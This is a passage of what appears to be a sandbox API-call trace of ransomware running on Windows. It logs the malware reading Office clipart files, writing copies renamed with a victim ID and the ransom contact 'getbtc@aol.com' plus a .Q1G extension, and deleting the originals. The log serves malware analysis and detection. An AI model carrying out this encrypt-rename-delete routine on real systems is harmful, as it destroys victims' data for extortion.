[0248.586] lstrlenW (lpString=".zip") returned 4 [0248.586] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.586] lstrlenW (lpString=".rar") returned 4 [0248.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.586] lstrlenW (lpString=".bz2") returned 4 [0248.586] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.586] lstrlenW (lpString=".7z") returned 3 [0248.586] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0248.586] lstrlenW (lpString=".dbf") returned 4 [0248.586] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0248.586] lstrlenW (lpString=".1cd") returned 4 [0248.586] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 63 [0248.586] lstrlenW (lpString=".jpg") returned 4 [0248.586] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.586] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0248.586] lstrlenW (lpString="DD01586_.WMF") returned 12 [0248.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0248.588] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=2324) returned 1 [0248.588] CloseHandle (hObject=0x3b4) returned 1 [0248.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf")) returned 0x20 [0248.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0248.595] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.595] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0248.595] GetLastError () returned 0x0 [0248.595] ReadFile (in: hFile=0x200, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x914, lpOverlapped=0x0) returned 1 [0248.599] WriteFile (in: hFile=0x3b4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x920, lpOverlapped=0x0) returned 1 [0248.600] ReadFile (in: hFile=0x200, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.600] WriteFile (in: hFile=0x3b4, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.600] SetEndOfFile (hFile=0x3b4) returned 1 [0248.600] CloseHandle (hObject=0x3b4) returned 1 [0248.600] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.600] SetEndOfFile (hFile=0x200) returned 1 [0248.602] CloseHandle (hObject=0x200) returned 1 [0248.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.603] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01586_.wmf")) returned 1 [0248.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0248.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0248.619] lstrlenW (lpString=".doc") returned 4 [0248.619] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.620] lstrlenW (lpString=".docx") returned 5 [0248.620] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.620] lstrlenW (lpString=".pdf") returned 4 [0248.620] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.620] lstrlenW (lpString=".xls") returned 4 [0248.620] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.620] lstrlenW (lpString=".xlsx") returned 5 [0248.620] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.620] lstrlenW (lpString=".ppt") returned 4 [0248.620] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0248.620] lstrlenW (lpString=".zip") returned 4 [0248.620] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.620] lstrlenW (lpString=".rar") returned 4 [0248.620] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.620] lstrlenW (lpString=".bz2") returned 4 [0248.620] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.620] lstrlenW (lpString=".7z") returned 3 [0248.620] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0248.620] lstrlenW (lpString=".dbf") returned 4 [0248.620] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0248.620] lstrlenW (lpString=".1cd") returned 4 [0248.620] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0248.620] lstrlenW (lpString=".jpg") returned 4 [0248.620] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0248.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0248.620] lstrlenW (lpString=".doc") returned 4 [0248.620] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.620] lstrlenW (lpString=".docx") returned 5 [0248.620] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.620] lstrlenW (lpString=".pdf") returned 4 [0248.620] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.620] lstrlenW (lpString=".xls") returned 4 [0248.621] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.621] lstrlenW (lpString=".xlsx") returned 5 [0248.621] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.621] lstrlenW (lpString=".ppt") returned 4 [0248.621] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0248.621] lstrlenW (lpString=".zip") returned 4 [0248.621] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.621] lstrlenW (lpString=".rar") returned 4 [0248.621] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.621] lstrlenW (lpString=".bz2") returned 4 [0248.621] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.621] lstrlenW (lpString=".7z") returned 3 [0248.621] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0248.621] lstrlenW (lpString=".dbf") returned 4 [0248.621] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0248.621] lstrlenW (lpString=".1cd") returned 4 [0248.621] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 63 [0248.621] lstrlenW (lpString=".jpg") returned 4 [0248.621] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.621] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0248.621] lstrlenW (lpString="DD01628_.WMF") returned 12 [0248.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0248.622] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=19068) returned 1 [0248.622] CloseHandle (hObject=0x398) returned 1 [0248.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf")) returned 0x20 [0248.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0248.622] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.622] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0248.623] GetLastError () returned 0x0 [0248.623] ReadFile (in: hFile=0x398, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x4a7c, lpOverlapped=0x0) returned 1 [0248.640] WriteFile (in: hFile=0x360, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x4a80, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x4a80, lpOverlapped=0x0) returned 1 [0248.641] ReadFile (in: hFile=0x398, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.641] WriteFile (in: hFile=0x360, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.641] SetEndOfFile (hFile=0x360) returned 1 [0248.641] CloseHandle (hObject=0x360) returned 1 [0248.641] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.641] SetEndOfFile (hFile=0x398) returned 1 [0248.643] CloseHandle (hObject=0x398) returned 1 [0248.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.644] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf")) returned 1 [0248.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0248.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0248.644] lstrlenW (lpString=".doc") returned 4 [0248.644] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.644] lstrlenW (lpString=".docx") returned 5 [0248.644] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.644] lstrlenW (lpString=".pdf") returned 4 [0248.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.644] lstrlenW (lpString=".xls") returned 4 [0248.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.644] lstrlenW (lpString=".xlsx") returned 5 [0248.644] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.645] lstrlenW (lpString=".ppt") returned 4 [0248.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0248.645] lstrlenW (lpString=".zip") returned 4 [0248.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.645] lstrlenW (lpString=".rar") returned 4 [0248.645] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.645] lstrlenW (lpString=".bz2") returned 4 [0248.645] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.645] lstrlenW (lpString=".7z") returned 3 [0248.645] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0248.645] lstrlenW (lpString=".dbf") returned 4 [0248.645] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0248.645] lstrlenW (lpString=".1cd") returned 4 [0248.645] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0248.645] lstrlenW (lpString=".jpg") returned 4 [0248.645] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0248.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0248.645] lstrlenW (lpString=".doc") returned 4 [0248.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.645] lstrlenW (lpString=".docx") returned 5 [0248.645] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.645] lstrlenW (lpString=".pdf") returned 4 [0248.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.645] lstrlenW (lpString=".xls") returned 4 [0248.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.645] lstrlenW (lpString=".xlsx") returned 5 [0248.645] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.645] lstrlenW (lpString=".ppt") returned 4 [0248.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0248.645] lstrlenW (lpString=".zip") returned 4 [0248.645] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.646] lstrlenW (lpString=".rar") returned 4 [0248.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.646] lstrlenW (lpString=".bz2") returned 4 [0248.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.646] lstrlenW (lpString=".7z") returned 3 [0248.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0248.646] lstrlenW (lpString=".dbf") returned 4 [0248.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0248.646] lstrlenW (lpString=".1cd") returned 4 [0248.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 63 [0248.646] lstrlenW (lpString=".jpg") returned 4 [0248.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.646] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0248.646] lstrlenW (lpString="DD01629_.WMF") returned 12 [0248.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0248.646] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=580) returned 1 [0248.647] CloseHandle (hObject=0x398) returned 1 [0248.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf")) returned 0x20 [0248.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0248.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0248.647] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.647] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0248.648] GetLastError () returned 0x0 [0248.648] ReadFile (in: hFile=0x398, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x244, lpOverlapped=0x0) returned 1 [0248.648] WriteFile (in: hFile=0x360, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x250, lpOverlapped=0x0) returned 1 [0248.649] ReadFile (in: hFile=0x398, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.649] WriteFile (in: hFile=0x360, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.649] SetEndOfFile (hFile=0x360) returned 1 [0248.650] CloseHandle (hObject=0x360) returned 1 [0248.650] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.650] SetEndOfFile (hFile=0x398) returned 1 [0248.652] CloseHandle (hObject=0x398) returned 1 [0248.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.652] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf")) returned 1 [0248.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0248.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0248.653] lstrlenW (lpString=".doc") returned 4 [0248.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.653] lstrlenW (lpString=".docx") returned 5 [0248.653] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.653] lstrlenW (lpString=".pdf") returned 4 [0248.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.653] lstrlenW (lpString=".xls") returned 4 [0248.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.653] lstrlenW (lpString=".xlsx") returned 5 [0248.653] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.653] lstrlenW (lpString=".ppt") returned 4 [0248.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0248.653] lstrlenW (lpString=".zip") returned 4 [0248.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.653] lstrlenW (lpString=".rar") returned 4 [0248.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.653] lstrlenW (lpString=".bz2") returned 4 [0248.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.653] lstrlenW (lpString=".7z") returned 3 [0248.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0248.653] lstrlenW (lpString=".dbf") returned 4 [0248.779] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0248.779] lstrlenW (lpString=".1cd") returned 4 [0248.779] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0248.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0248.779] lstrlenW (lpString=".jpg") returned 4 [0248.779] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0248.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0248.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0248.780] lstrlenW (lpString=".doc") returned 4 [0248.780] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.780] lstrlenW (lpString=".docx") returned 5 [0248.780] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.780] lstrlenW (lpString=".pdf") returned 4 [0248.780] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.780] lstrlenW (lpString=".xls") returned 4 [0248.780] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0248.780] lstrlenW (lpString=".xlsx") returned 5 [0248.780] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0248.780] lstrlenW (lpString=".ppt") returned 4 [0248.780] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0248.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0248.780] lstrlenW (lpString=".zip") returned 4 [0248.780] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0248.780] lstrlenW (lpString=".rar") returned 4 [0248.780] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0248.780] lstrlenW (lpString=".bz2") returned 4 [0248.780] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0248.780] lstrlenW (lpString=".7z") returned 3 [0248.780] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0248.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 63 [0248.780] lstrlenW (lpString=".dbf") returned 4 [0248.780] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0248.780] lstrlenW (lpString="C:\\Program 